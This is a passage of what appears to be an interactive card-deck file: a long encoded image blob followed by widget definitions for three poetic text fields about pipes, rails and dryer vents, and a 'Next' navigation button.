uzLOtps7bzmWbpzeTmzbMtmdNs2d2zXzW69tttt27e7t2e1tNsbNumbn5m1d3Mmc5095vsz/f87m7TfvnLm2+a3Pc7nt5mnO2ybnzdunec5t7c525mbdPdLy22223bZ2vbc1l23ba220vJ21xmdu1zl03Xz7vb/zfO3T8mu3mk5m2ZzOZl22c231OnM0+Y7bpmrrszu9p6Z+Xtttttt3m7bt1tnbObrNt2bZnLuzNnPbtrdfJn7/9eczXP3rTOvTunbnZptZm501nc625x7zM7s2uZ2plbruzc2222222e3bbNtuZuams01bZtOynNOczpu0323e383z/O31nOssvM2bOXn5zurt1mtzrbvmXezN1pZs7nba27W1tttttt52b3Nta7me7bz52W52bufa1mnZfb2zPz/6fOer9na7dy11za6bJnM7M23rOblMs8yedZt35zba1zW29ttttttnn7WfNZrPcznOlqc5rZm5OmdtZ1t+nP9/5806bvtmzNNnNnTm5t7dzd2tNs5ndtyzs5zpzJnVrnXtblttttttuend9Nb2dNtmY9a8zanWTae5nTzaXu2+/9zz7tP5mbba2cu3ObbTJnVms5z23bNbvm2zbmt7W2mtTtnbbbbbbb9+dtvbNbea3zxzZ9Z2dvbZmufLt78zfr/zfnOd9vczLNtsrc6Zte23Ot7rNZmdq2bZ3za7Tmtfu3Ofbbbbbbdm17drOc2qbZnXnVk21ymSWmayczz93t+/7cm87faZzbdmd2lzbm05mttk683ubOzZtlLVptO5smbdZt22222227XdvObbbudm1OXbaZnvb2e2nZzbPUm/f9t7trP7bnzTPZNbPWubpuvNvzZ6Z+dWnads2dz8zu7dt3rW22222729dudednOZdm88rbttlM202ebn2797f3/zbnOe+c2nbMm83s2zcu6sdqOdl5k5m+Z5u25bJ3ZNtbbbc22223tmz7e505Wc/Zmpy6zOZnaynU06bHTetn//7e3tafa1szvbZ2TmnM5bd5r86fW9ruxzzssz57aZ9bbZrb22223N3vLZvLbt1ybPtnNzZbtLOud2y5t3fr3//+/1/W/2tlzKZlm3Ou2701brTbZM5uZnnTZ23LTZ7zbbb22tttttttt/f+esu3NudNedXb2Z2c5pk2znOz3f///z//Oy+2vXtr3amctnMnzZbbbXu1s5ut3Ztc87bzNubbbbbttttvt7zeZ2a5Mt2bZZtsymZnZzWt02bNm/f///3f/+t/nMsmeTNu55mc8nrZzmebdZz5tmb50zazLc2bbZtttttt7Pbvu92dt27Nebzmazs+6W2Z5l05vdv//u//3//Z32ds7Zds2mzuzt7LbzW45lttltO6Tm9c3dz5+2b221ttvb9ba2297WbNs06bbZttyZ7Z2zbNrSdn/////////r9zN5nUzrObM3MpvWn3r23O53bdm9u012ZzLk2bbbbbf+dnbbt25zNa9Xbm5zntzO1ylmbZss3Z/8/v////v///nNJ2bbOts9ltuzW2WO2bdLptNma017Nuz9vd+1tt9tJ7ee7dtt7bmzdNubTOZLM3Tba2zTZy2//32////M+f/83bTas0zNzPLNbWt58zdtuuzeb651mtmblmcy3b2zbfm56z1t27bO2ZuTc705690tnJmTbZmyft99X//99+0/9zLbMy3XbNNPNm25nl3W2u2babmztubbdtvb727Nvbbezm3nfb7ads7NfMzLzzply2e22yzs252/7t9/9nJ23fNuS23sszM9ufO2ludmdrM1tzuWds59rtZtum2zds221ve3e9bna5M2dWbectmmtnpyZmzmZ0z1P////////s/syezMkzm3Zqydmvazbs2t1u3O95zZlu297S2Zt3b223c53Zzbvfb7dbbbM7Zm3ZuW222nNzVmXd93//////8y7bc2s73OzNrnpmtNnNm53bsy7Kznd+7bazPndtzNttttz3b3bu2cms2rM7WdunNptZmZtZm1u7p/Mnb/7dN9t7M007ZmanObNnvtdW2bbnZrdrOze2zZts7eetbbuzttu3222723c8zba2zNZpua3M1m21nazJm7vZubP+189M3uztpNmzOc5ZnMlZtrbmcnbM2e35quVzW000zbZtvNtttm227nffZ3alzOe2tmzNdrbmZaZmvM2Z7Zzb/zTbdrstst2dndrTztttzra2W17be7fdm26+3bd223bX1mdtttu29tvc7bZm3W25KZ2XczOpm1zrWzZ15uZnT/9tM5O7ZltTZmZOenZmZnNNzdnNm27sZmZ1mszltts2dNvbbbbbttt3b7tZuXM2ne9l2TbMznNWbbNnVzbbbWf9y27c3ttNbmtraY7TtZtdc2s2+2zMm7vdmdM3XM2t2bttu7bbbNtvbbt3W5tO02ZZtm7M3XOc5zSs2ZnZ81m7/nbPZn2Z5qm5mbdzOp35zbs77jNtt7aqde539Zt5tduPNmzbbbdvbbvbbeZu2d1rVpszuzM5pznWzZrtzezWm/80szOdZjq2lvaVWazmTnOt3JnNs3Lm7qZnbJrrNtZu9Nvfbbbbbbbad+495O01udbp2SbuznnM23ZuZzbtts39m2+c3turVtZM9Z7Nu/e2bMbXbN5bOzO7mZtrbc57a3fbZbbbbbbb3+27yZ2nZpa5bs71mbPM1ykzpZnT8y1n/stLZ2M07Vltt07md7IxnZs7dTdJzc3bWb7bbW15rbZbbb22222222c+325zOZrurZZs2WZstzWuzLW2bNrNO/7s22k5pzWtqbN7c7TPnmXnay3Zu3Z0zM5mZrczZ6bd2m22222223b58/c2ztr7Kc21s09tmzNs5tts1q3M87P/Nrc7nttWprtukxybbObsdNnqzrabnrbr2bzZ3rb7Wbe2222223tuv99t07mmjdtzbZtpmdPMyzkzS1mzbZzP/ZOlzOZZ2v7NTOznazNtm522WzbN6uOzOTenW2baW2btttttttttu+1tvVynPbTWWlptttZ2drtNzNttWmZmb/7s22Zp7ssjZtttuczbM3OrZ53zczs9bc9s82a5z9b+zdtttu9/79ttvbdtudN3NZvT5JzbLZs09na0pm2bbbP+blq72yptuTqzMyy3bNps61nmTV7N1lzZzl283zVtm3Zttt77zLZttufbp05sy23mbT7nK82pzZOWp7OluZmb/1vurTbbNM+zNtrnMyfPnmzec73M5nPTZrPNr2X1u2d3ttv7mve3vbe+ezlzrrmqba2TM2zabmts2blc2mbW7/9TKc2k1dZozczOm2z5NOeds52zMzudOz69ttNtXtb82b/tLe622db7c+7bnLOmuzWy2dzWZtOybW2dVlve9qf+3Nty3TVbt2zts3nPTvbZs2zszvvZte3TZnZ221t2m97JN+1tu353m1621uds3s3WW25WszmcntMmZ3P2Uy2z/qbWWlPNaZZuMznNM3ObNm7PM3mM1maWddvNu7btu+5m/9rbd22n223tt2ZtTnNmW20zs63ObeWe+/utlbWtX/67NZvacy1zk9tuZ3mczbfas99N9zfbc605u5rtts1tuzbbdtttvbt9u91tmduZO7Om3OzbZ7M97ZkYrNms01P/S22mbZzmbPZsyznO1vXM07zM9lnsm22v5rb2u3b3d7vZt227tvbt1tt7mfazb9msus0tWnm+ymWnZ2Zua1zb/3bKeabNm5stp7XbNnM2ez1nM5tuS7a9ct/W3abbNtbM3227bNubbbd3bvZOtWTNbasz23eaZOs2bN1bZttmr/6Us5s6c3mzqbk2ZtOtq5ttW3trp7ttt15zW2d9u9ua92bbtt9t7bbt3dsnac2dNmbd/tOkzts1s22TWZmUtqf+7zzM25tMzO7O27bczbrmy9nM2rm27c3ZvO27W2ba7rd7tt2zbW23btt3ebtu8/e+1SZsvbObVs2TetbbZ5nb/ytNZ5Ts13Zac6zZbdtWubpubt3e2rZzb4822tN87u25m23Xbbd3bbtu3c7Oc26ZszbZrs005dp5uky2ZnltW/9p03JnJrU3k5ytTzM2da9ts7tnVs7bvOZz21u9mzc3bu1tdt2223u3du27dZ1MzM2y27Nm3TZrlm3nqbWbZmf+3nad7bstmb2283O25s22bd2nOXN1ms+b3NttrefZ227tt22227ua3be2s2dm23dszyzZusvbLNbNOW6dppu3/pMszTTJ6uzmZpu8zbu7d7Zmed2tde2zebdttm583trZttu7btts7u25vs2a2vNVM3nmTps6TbZrM5tTZmzpm/9tq3NWdlqmW22spvtttszXu85mvZs2vM5tttvbm2bu33ba22tt3+2232t8+rcttt6WW+zl53TTrbbW2dtbNmv/bNs2252Wu5mZ7/szXNa7WZk27suu1s7vzNrbc+d7N2bbbt27bbM3dud7Ryc1rKum5tkzbJmXXNTM1K5Zk5bP/pNUzKmltZm291kbzZNps2zn2ZnabNnzMXdvNmx9m9m7m2223bbt21u93dttzOfZOW2nWzbs7WdbazczZuzts/73Z2ttdm1u9q1W1nz/P123PNt3N9tvN983Me2vmezbue23btbbbdvbbbc52bs5Xds5PNubNzM5aztp2bZtKTv/LLmzVlvu5k2rZuWTZNJmm2Zm1uzTbMzZ2d7Ns+ZvbmZtttm223Z27dttrTZnnmbOz9Ok61NazqzMzm6Zl3bP/6ucvdvKUpnZbO09tzfbuurbvZmrPbPbNtttttx/s23fttu3bbbbtrbbbeet2ObqadJufazcztO21ram23LW///bZ4yzO1tut1c502zZNs7bmynue+aeduatpnbdmba1s3ba7dttu7u27vZa6ztpm7Z7acs257M80zOztWZOmbf+1nZzrOW2ZqbVltzLzuZzXO3ua8ya6abbbPvZs+bdtu3Ntrt222zN2zbb2lrPP3a2rZ2zczltpl25TNm1+e+3/2bZ222czbW5tPZnOnObnWc01zm2+287OdcbLzZ21ds8u22utttvdm/bbm3W5NJlm6W2bZtNTPPMz3te3ZZs7/97LSzTa2mZnTtLbe2c2ebZ1zXOZydV2ea15uttm25bz7bba7tts3e07benNbvbnWl85szM9vMdM3bbZmZnM3/+y2bmnM5222bOeZknZ2063nbs63nc3N5euzzZze1r5nNm23nNtt2Ztze1ue0zLPNvSzm3d5Of7f8yzLOzbZt//7bam2czlmZrs6b3uXlnazOazrmbW7Nns2rbXbZttm22e22edttt7tva3W5O3O2e1O7PNWl97KrJrmbanZntz//0s2lzebm9uWzeTM2bms3M6zOWzmZvNO3Oy2Zzm7d7vZtt57bbbm7a7ttTs5ubZNczc9+uZmazNs27TOTaZ/P+ba1vHMzPJZZbU9t2zvq1dy29dvO5zNtMtb273fZtms3ttnm7bbOzbrdu3Plrc2873ZzSttszXbZzKbc7Zpvv/+ttlOa3ZOzb02yzM3JNtzXszW2czzbbd7ZlrJ012ebzbbeezbbdvbe1tu8e7N276mzmbNOZ3WbJtu6zTm25q/9rUtuzszubam2tra1btZnMs3OZbdnzZrVr3m3mzZ59nttt5vbbbc213bcz5veWsk7nO69c5s22e5mSzPOZz3P/9ttqXMzKcy2ss2ztrOZtc59e12c2TbzNbTPXO/tnm2222ns222523W7Z3LsZcs91mcyzZzyy2ZZtfW2ZtmXf//a5Ns1t3c21tt5Wmrc75z5ppPa0572Xe53tNNkteebpttub222ztttrb2bN7m9ttXt3tNnNtk7Vp01rbM23d//97tWzMzU51lNJ1ubTTJrL7O8q3tmzc0zzNu/PZ552vttt7Nttvbtu2227dTOtMptNMm82c13rbbmzmmdrO3f//e7ZbtrNplttdzm2bPb62Tc5rZs8zm23LtbZNtrm25bbbW9tts3Ntt22mZvds9va1s7J5zZmaTpsttbbPsv//+7/70ma2u7JrZztObubJzdTpvWzp3Ws68zZl3Ta25rzbbdZttt2dttm2+bqZlpsZvO5vTnNs57Ll5l1mbb//////+TdtmZZvbNml22Tadnm3O5WbO1dt0z3b3bbbpruvbbZ3tttt7bbe9s+btvdr20szzbO2Zzm7PJtLebf/bv////2tmc51mZc27LN3M5uWuc5285ty1m2abNqzzPts5bW3rNtttm7bZ1ts5mZpbNbbnLK2nbtObab56v//5b7//k/86bZzrbbZzJus2c3q1s5zzMzmrput562rnTdNzz22bO3bbbezbbnbsz3bntZs5u27bOWp80ztjbv/722///7b+1pnNMpmbnO2bZt8bO1nnNtvbO3s9m2zO231tnPbb87bbbbZvbbe7t7TWtObqzynTU22bjXTM2y///u+3//9v/9Xmc922bOeZtdmR5ctubZzM1tZZxuadtZqWzec01lzNrbbbs221ztm3Nt5azuTuXXbO5ucvZzm/////////b//1PZ5NZ7Zs22ZdvbbcrZnndzbVzvq983dt5ts7b3XPebbbbb223XbbWetT2zW9m22c2nk56bnN3/7/////////7ZNls1mTm2ZbZuZaZ7N2dtnrfbY2zU7ZbXt227Nds27bbbbNttt3bm6bbTb1M3Om53Ob2zauZl/+//u//////+t2dbbc+3M92bM227meZ5mbOYs113N7L26bNtTds32u22229ttu2emrdO3Mz27MumstplbW07t//3/3f//////zTZpspyzNpW6dmaas5bm7bs76221uzetj7dt3W25Ns2222zbbbb69uc8ze2nM72ua7O202Vytn/3/9f///9//3POuzbnNvO2m7O8853eeZubuZttprbW5nTXNm2tb9t22223bbbdntta53mc82zNbdps5ra3NtP/+f/2////v/+2c5bducybauatk01sY5ty1s521ntm2Zvbedu222zbdtttt22223dNutsm01zOc1VnnZts2c1c////3f///7//mZlsyZt7zM5s3Pd9a7rObnTb1rbbbbt7by7bZtuzbZttttm2227Z9a2Z7ntO27bXPOZ5m055zX/z/9///////9tu625mS3a1m1Mtk5udc5uvZlm5rNtmzNTrNXs2v23ttttu22223rZnbVuNs3Mtucs7pudzlrN//f//////v//NZps27eybdfNvabb2Zbbmsz3vT222bbedueeb5szbNtttttttt2eu2m9Z9b027S5zyr5s3Oa2//3//f///7//tZm1s5m26c5Nst5sle6sudzZqfNXNbt1a2ba7Ltzttttttttttm92buy5lzNzNPm3NzJmyc7bb/z//f//////7b2zazeU25rfNzTz3U6251Nzm45tduaze7emzebbtvbbbbbbbbe7Vdm2z7Lc3tedZs3b7O5zU1////////////KVnLbZ20zOZNNtnNey1tnc3ObzuzOZrq1s+3Wbbts7bbbbbbbZ292XM3Ju1zLaZ1rZtjs23Xbf/n//f///7//29m21mm73c7fcza0yu207N5ttNszdf2zmbs22e2Ztzbbbbbbbbmzs9t2d2bPOzuzbdmXLmZWcv/9//f///+//7ZvnTW6ykzmZN7Zr7s055uZrWc1n1mTXW7M2r825tt22222222+3M2rW5zc6ebWbrSddbO9s52/9///////f/+1pNPNlt3rObskz2pndzpzbbbb5umu3mdud9ul2v7bzbbbbbbbZ3f8u2nnmzs81czXt2zdk6zNf/////3//3///bZ2et01t2+ru3LbtM3O3WbWuLrutmm62bU2dm8bbNtttttttt22k9Wuc2vWy21zWmTPVPZvc3////////+///zbnabl5lTJbNtc1N22c5bbWa+bM9W3tret59ux5zd22222223bvvZmtpzs1u87P2ve2dctszb////97///v///TOW2Npt23VtmzzdXM5zzm29mbZx3nNWs7mzNvuzbbbbbbbbbe+/NutntnbmxzMm2WzZtzZnM/////////3///Xc6Wdr5m3bWurO7ctztnOzldebvmOtd21ubNmab2ztttttt/+5ze5tvM3MuXnfa1cnnOXJue3////////////2ZzttrJtmTtZu5qZvXZ25tnZ2a4u9ra1dS9/fb9m3W222//ya3nZptpt7O52ezNt1+Wc6e65N////9///////+7NWurb5m3Ldmbm7sbTlrs3Ozez5rXbp0/tlZmze23bb/5JP7te3n7bnM7Nm5nOczM57m5zTt/////////////qc1qbXJvm7M7c3Wb2nPaZ5ubmdpttWnt403Xm25tu/2kn/82217fJpuczNezmdttszmObnXOn///////////727bndWd6Wrezm1mZme9N5prc20z5zufM115uftz/syW/+bb23bW0uz07e/ZnPtOc3fc9ss21P/////////////WdtWc5ltsybWtm+28zeW77M1nvTrO83bdtu7vnZN39tt7Nttt93tvZ2sybm8m855cxzO5zLdf////////////mZT2a2uc1z21tvmZp2ac7Lbtus3a8mzds7f2tO39tm2pm+222znNWZtbdzPjvLblyztsttu53///////////72+3K2s655tmbtMmdtm69yebNs5zVzuft/7bG59uTbu7buzbbbbvd5u7Zs3cnM2cubts3c5zTn/////////////Sba221nNq26p932bes036bdt1vvXP9szM2u1rc/bNrttvdtu3ttrubOzs13dza56015NpnXOf////////////ncz1nNWc7ba7jNmbM225m+ZrN62/dNnbN27t7N029uu3c2223b36ac+bNzXZnutmz5l7O8223///////////721zVmtt7Z1lzbM2+23NttZbve73a3bbN/Npmred2zba7Z27bffvZ7dyd7Psnuac62pubNZzmn////3////////mX1vrOytzXXV/1pnMtmZ33/bbWZmbNuydt3bbZtvbdtvtt/9s23zdO9Tcr7M59rs756fW3Nu////3v///////m8msncrubbZWyNnOt7ff+bTKmc727ebbtt23bPts2222f+ybb3bTZs07VzLt2yeZ1Lm5OZZmn///99N//3///3m653Tumazn2rc7dv/5sy5tu+52zrZtmutazbebb22//ZJv7bNtvzv3a3PbLM7ZZtcs2223uf////l3v/9f/+9mZpnOs3ezWTu37/9Izm3NzmZrtTmzm25t03m2bbP/0k3/s229u6nZMt2s3etze35t507Oaa5P/n//bb/9n//+3t2+aznU31/t/aSZ7zec9bOdtq3nbfbnnP222//ckn/2bb22ztr7Z17VvbTbXY7JuZtzM9tm////85t//u//9pOZ5tnOn238zUy9trXZ8zZ7tZzu3Z02ufMu/+2Sb/+tm7XNtvPe1r3VtmcvNtTyt5b63fZc2Z//Nf3n//7v/735blm29/tlpzZz22ac2k+bzO5razb2275/60k2/7Nls222dtt9Z3bM7a7a62zvXtz2TZTNpz9//df3bb//P//9L2d/f7VrPLXztlNt5ze47Ldb71nqztvvmtt/2yzdPd7t27bbT3nbcy5rmtnPK2dmzdn3Obtk3/5b81t//Z//f7b9xcmdbNu2TZ3tmznlt221czTe2/tsye7dpm3nbdtstm27bfOfbb/z2e9ds7m5Ozm2TbbZ21//zd3bf/7///bVmzy2azfLa71tPPLbXNdbba3f9103bz5ltbm2227Wt7e2zba89uzJNnZptnm2ztnmt3nOZpt//TXXZ7////8ydWtrt+uyelrm55de1tts22/+2TVnbNnnvbbftruzdttttvbez9uzd22e3qdOZtvOns2ba77tn/92973//R//757M20yczs7c2rjzVtzvb//aU2fdus7W2bNu0tus3btt222223ttv23N45b57tszNvN55nmTZu/+3/2zf/3v/3nK95Z7dttppzufbbW3vdkk2918zbbzdr5ua25s722tttttu2227czM2z1zTrO7bPWdlm2W9nt//tNLb7/2v/9sezJ1q0tzP3um523/s2bbvbU3lrbXPZunzbm7t2tu7ba222223bZztzbZ3ba2bd7NbPeb9/+bR/85+82/+z//t6bP3az5ndNa/f22St1rNs5nabO22c26eXeu1ttbmtttttttttt3/rdtzra1zczTb2tt/tkZ5tu97tdzf/tv/7a62Sb3lu3d/9sZm+zW22Zz2t5t2a7bZ8807t3btvN2222222222yts2zbm3Xt3Pbv/WWZu5mz7/kzVnv/82/95zt36md9/bIzK7us3a5zbtnu23G82tnz031mzNOzdnbbbbbbbbbvt27b3O29u/+2ylZ6brbubJ3+3e+W/957/bXW22/5pkmezPbM5trpnus2NZ7es2bWbN9nXbu9bbettttttt22s3Nttme/7qYmzXvXm+bNM9739s095f/lm/7d39pZntu+2e+dd1tm3+s579nlm699t57Zmtm2rd25u2222222273Nt3/9skr99bmZOc052dzTL/W21m3/++/3/mk23mZ1pucy2ZnbbTJrZslud2ztltnzbvu21u62ztbbbbbbbu7dv7bJmm/3Ftm25+z3bzbPOe/dc7c7//7v7aO257PZpnk9vObubNvu3N59r1pnWeteTa2m5ttztvbdtttttts7ZvLZvuvMnfMu1tyXNMzus26ba125/v/Gbem6nbls37vPzM8+s7eamZezttnO23ZtZ721vNttnW2bbbbbbbb323teb2a227LN7m2b2222y3nO83/tT0v/+Zs7W+WdTzJssnNzy52Ztvd1rZN2tbrPnbmzdttbbe3bbbbbbbbbNO3fbbN21nbuvZm7bmzPc3nO+/2UrXXZ/++yzmZ2Z7Ntzt23WXJtbm1N3O19lvdtufO23s5nbbZu222222222983ZbO82du1bbN3mubns1//tq0Ntue2dv/k7u29m+z5zbNnnN8/5ufN2mc2zbmazbZeZta5vbbbszbbbbbbbbbb3b3ez587nZnOZm67v/20jNs19ms4y5v/900zlbmbTrZ7OmukzJuZdre7c7bvbPbO09tpt7O2273ttttttttttu23bPLm5m72e9/9ubJNrbZrdrPbt3tt/9t12vZmc263TdvrP+b5fZtszM1zM22bebzbb2zc22zNrbbbbbbbbba222s+ut3rb/2zV2be9m7zts6tNNc1Zv/s225r322zadzUnNk7T2bta3e9XdzbbWdnNrbbZ223drbbbbbbbbbbtu7bzbv/ubmWvNmeZpvTLZzp3edZzbv/52szmmWc2c6zb3fW23a2tbc1s81nm22d2+2013ttt3bbbbbbbbbbbdu7vvdtJmbO2s+287nqfd1rO1M7bW6t//ms3Pe51152tznKdtay252c3M63O22z9myt33Wbc2zN222222222217baa1zfPe829yZs2vO4zW69Z7bOcztf/et82Zm3NnWdzWu5m1r1pt69N69Nptvlu3tmdd7Z7bu2222222227fbd37uzbc2z2xt9s9ac23M5zXrM2a3Nb/5tk3bm5ttdtL1rW3OdnX5ms/W0/btstq2nO51m3ttus222222227s7bWW072nzPNvrl753btde13Oae3e9db//Nu82bmzZyueztmbc52dTtt5c25bbZ5rs/Nuze2a22d222222227bze99z02+Ps5mbPLLTWtts9Zez6s0xzbf/dpszbm7Zrs7Trbtr3na3bbNzttzbZtvW03c7s27tttttttttttt3Paztnt1p8vzvbdOefm1asx50nLtz3nbX/7Pm9uXm27nbPnNuzNOeuZpszNmba267XdzZ2222ttu7tttttttt2e7vu+ztvV5PbW1+6abt1t/j2+9NXmdzW/+svMy2ma5nNebeZrc9s87z3v9vbzs7rOlvu1ZttbbbZtttttttvb7bttprNs9r2bW3Jru5s23MvTZp9cm5nW//3s27mv2z3bZZlbm25mxzNtMlrWnW2duvaa73tt3bbXzbbbbbbbbm23bfu9ty7bbbs+2m3z5tM53nXja+zt23/1NzM28mdlnb33WvbNvbvc297bO7ddZ2dt5qrNtmbbebbbbbbbbbe23bZtbbdp022tzZ7ZPLt31mmdPOs3Nm1//tnt3p283WbLLbabNa2417LZt6zs13p5rT27ttu7bY6222222221ttu3tdbZ3z2zZnNlt6dbPN8767ec1dbNv/rbPMnbZtd62uzt6fbmZ3bOZ2zna7TbnrfbbTbbu232222222223dtu3d7bbtbtvtu+/bbt1csx1mrM19zbtv/7bsd3ZttpmzabTW7OW92Ze72re1tvm9bZZtfbbM22d22222222257tttrO220zszbppbaerZ37t2ee3MzarZ//Wn2dm2bO2dt83abOdrbb22s7szdauxzbz20229225m22222222zrPdu7ebWb3NzbNnzbZO7tK6ztac87zvZv/WeOZm5bNb52zbbtu9ua2s1a1m3tbrnrbTZv22zdtvu222222223beZ7bbdt9t9b29/Pa3tbM7Ztue8z2zWb//+88/Pn23cnNbNq2zLM6zZ13d3Ns7PO7231sttvZtsbttttttttt3d7zt2tzm1jbmzZabbPc97d2zaZ+mb1uz/+71ydOWzZ8c12znbed23ttrVptp62dpmzXb5ts3tt7Nttttttttmdnvb27TOtvbO3Nz7c9azZyZvO9k7szm2v/tNnt22trl77XbeW2bWdrbunPvbs3bX23tbNtt2bbbdtttttttt+9ua7btv9tt29tubTZzW/Nz7s6ze1m2vs7/89umnWt2vbLac0+a+tszbM+9Mba22tVtrt87bd7bbbbbbbbbbbZ7b7rbtazdtmzW273bvOY+bmbbnM7bc6s3/95s7eW7Naqdbs3Y9qbm7bdzZ3bbdrb1trOz7bZm2227bbbbbbbbm7O3e3brZtu3dtuW2s+9y627c29s7t2z9f/ptzs+zc3O7a29t2dtva21nNre21ttntrdOmbbu222zbbbbbbbbez83c7bb3ttts2s827ZmdrzrU1pszMs3Jn/77Oy0217dbOzZm2Z2y22ze+bmbXNzbNrbc+bbbtttvbbbbbbbb1vT229rbWbbWz7b22zdm523m39tr/d62+7//TMzt1zTLbedtvNvrbm23sy7W9m9nbtvbb0+21m222bbbbbbbbXc/Pu92227bdvM3Ndtzfnty3bJt7JZptq5v/2/3ttnveuZs26tua1u21m3bbmeze2tsbbN22zfbbbbbbbbbbbdt6+s5vbbu222d2d1tzZmZnltvbTdzr22p3/2zNNZuqZubm7LbZtzbm1ndc2uZts2257a9tNvs22222222222222zb7s22s22ttt7Xbb3n7u3mabPZzbZp93/+3M9Zs77mevaudtuXtO1vV02b/t21tpu2zb9s22222222222227bfdu97bb229u7m2bZmfNtrPb7ebr1zvl0v/te535zTPc5m7aa5ttdttnN99ktpttn6bfbLb1tttttttttttttts7c17ttm21tpu27b25c1m9um1bOzTZdm7/82bmTu3dm1m227rmzbW7W81lntbttfL9s27bNttttttttttttt227d9zbbe223Pztu2tu15vZm2zedbv1xu7//68u7azZmt/mbbOfbbNZtp7PPN1tt07Ta2zW9tttttttttttvbbd7bZ33bZtttdPNs25s7ZttvNvs7c2W3tmf/mz6z1nnvtku822Zt2+123s9NtnbbXzXNtvezbbbbbbbbbbbbbbtt2723bbttt3c9t2zt257TbNstus12ttm7/9fLbTe2abdzrbbfm2y7ZtazfXetttne+ds2vbbbbbbbbbbbbbe27Xbu7bbbbbbNzbdvbczzfbPbbabdmtrfr//s2c3szzzZvOdm2dqtpttzvbdZua2m2p5t2c222222222222223bdu27u23bbbu3bZs3Z3bZzebdrdtu9rMtv/q3a2m3nXbs7bW21u7327PWbM22btvtPntt92222222222222222223ba22bbbO7bbt2btz3nbbbW2zNpre53/7tO9vNN1zNzOds3M3LNrc3bc7bettm9ObazNttttttttttttttu27dt3227bbdru27d7bnWbbO2d2vdnvbNp//buxtN9nTdnebc2t2ds212m17ts7NnLd7bu9tttttttttttt3ts929u3W22223OmbZszbO17ue2bm83PMbO7//zOXrfZud222eZ9vdt35zbe3bLb1tve7TbMzbbbbbbbbbbbbbPb127d7e22222d3dt27bdvmy7N+utstt7erb/7ddubZs62trc7tmZuZLns1tM/bN3bba7bd3bbbbbbbbbbbbbudvbttns222227Xd23b23abXutma8t7TbVuZ//22s7L52622t20vbrb7O23Nuybc1bTMz23d222222222222227a7t2+e9ttttu9tnbNm2b3ts7edp7ZvbbN7//mut22ztZtrbNZ7W3Obdptdu/ub523e3W2Zm2222222222223bdzbt599ttttszmutu227WbnZs93tr22btmr/+s9Wbba2223N1tm1e53bt3bSebNtt2d1t7u222222222229tt233O3217bbbb3Pbu27tu25vN22nM2tW7Peb//t12821ubZ2fXbW22bzNtqZns+2btm9ntm7tttttttttttttu27WfdbtzbbbbN9tm7Zts23zO3dOt55222Z9v/ndOs2bc9nm7NbNtudrubb72223bLOzOrezNtttttttttttt7bt3+d233bbbbdnbfZt1t22be6t9vZnm1vbl3//M8698522etO2+229azbbW1ttNnfdvdvZvdttttttttttttzdt2m7e9t22223ebZt23bdt72zuZtN+e3mbez/+27Ztlzst5te6zbbNt3e22Ztt9ubXc3c3s3bbbbbbbbbbbbbbbb+3c9722222Z7bu3bbZtmWndbtuZ5svbZrv/za72e3a8znbTvNs9OW0229ttm17OZ2ZzN2bbbbbbbbbbbbb27bl3d97vtttt7m25ttu3tu9u1utu7nt5m223//trNs51t7fOnWe2zdtt2ttbbebW87t7vtt7bbbbbbbbbb223be33/97+22222+2ztra2bbttua7bOubZu27Z/+t2c21ndM02+3bNfbW1tts7bM9tz27Tavbm222222222227228//tNzTbbbbbZtvbbbt7bNbc7tts7bb7ts3//5rb5t+Z83tlubN027bbdr7be22nNzfbabO222222222227n/78yt9v3u22223ts3bbbm297Z22bb22zLNt2b/9runtp7p9s3M7fb2zttZulbWtNu9nabd7dttttttttt3///M2t3tru3u22222bb2bbbO2za3t17Ztbbe3Nd7/+7S2bbm21l7d2bZm3W23s/bed9tpu27a23dttttttv/3kkzd27dt7u23dtttt7bN7bbdtvZ2bnm312223N1mf/7dt7bbW7fa1tbL21ttub07Y9rbdtt2262Zttttv//JbP/3bdtttztt7dttttm29m223ds327Ou2ZrbbNvbbb/822zWzms5s3a2+ztu227Nzb2a7Z7dm2227tt//7JJf29tt25t273t3t77bbbe2ze222Zt2a29tt5u229rZtv//27bWzbtzm2bbZzs5bNm23bdbzbrZu2227/9pJLf/2bbbbmzvbrtt3O2zbbbZtvZttt7tt62zdmz9bbZuz22f/trm231tnfd7dtnp529m3bbZ23bbbtt/+2zJv/+2bbbtttu3ubu272/e/bbbbts3tttm7bm23ZvbZ2226zbbb/9ue21nbbZVm2be3t2zftm222123b//kk23ftZbbbW222223be23bt7ds7bbbbb2bbbezbO223tt1rbbbn023//a5ttutbt3OzbZpa23Ztu227t3/bTJP/222bZ1tu223bbbdts3e3b23v7bbbbbN7bbZvbdttubW3btttO322f/5u225ubbbdvm3t3tt3rbtv/ttk23P9pm227b3ba2222221u39s7dv/ffbbbbbdm223s23dts7ds7bbbdpm27/72bbZtbVs3Zu2bbNtmf/tskzbb22+Zru222227btttu223bdt3//+m7c27bbbbe222b22Ztt222zZtttvu22//bdm17e3babm27btv/5Sbb/zbbttrbva22222zbdtts223fd//c2Zvbt+7bbbbZttt7Nt7ttt23fb2227M22//0223ba25t7fdv/3bJn37bMn22ztuetbtttttvbZttt3v/++5Jt273t3s7bbbbbtttm9tm7bbm2c21ttpt22v//27ta22z3f91syVbfubTbd+223Nt67bdtttts23tvf/ukmy7/u3u3P3Ow==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[240,30],&#34;pos&#34;:[15,28],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;so my new refuge is back in the pipes and wires and radio masts.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[189,30],&#34;pos&#34;:[308,136],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i marvel at yellow stripes and steel rails&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[138,30],&#34;pos&#34;:[236,211],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;sacrificial anodes and dryer vents.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next 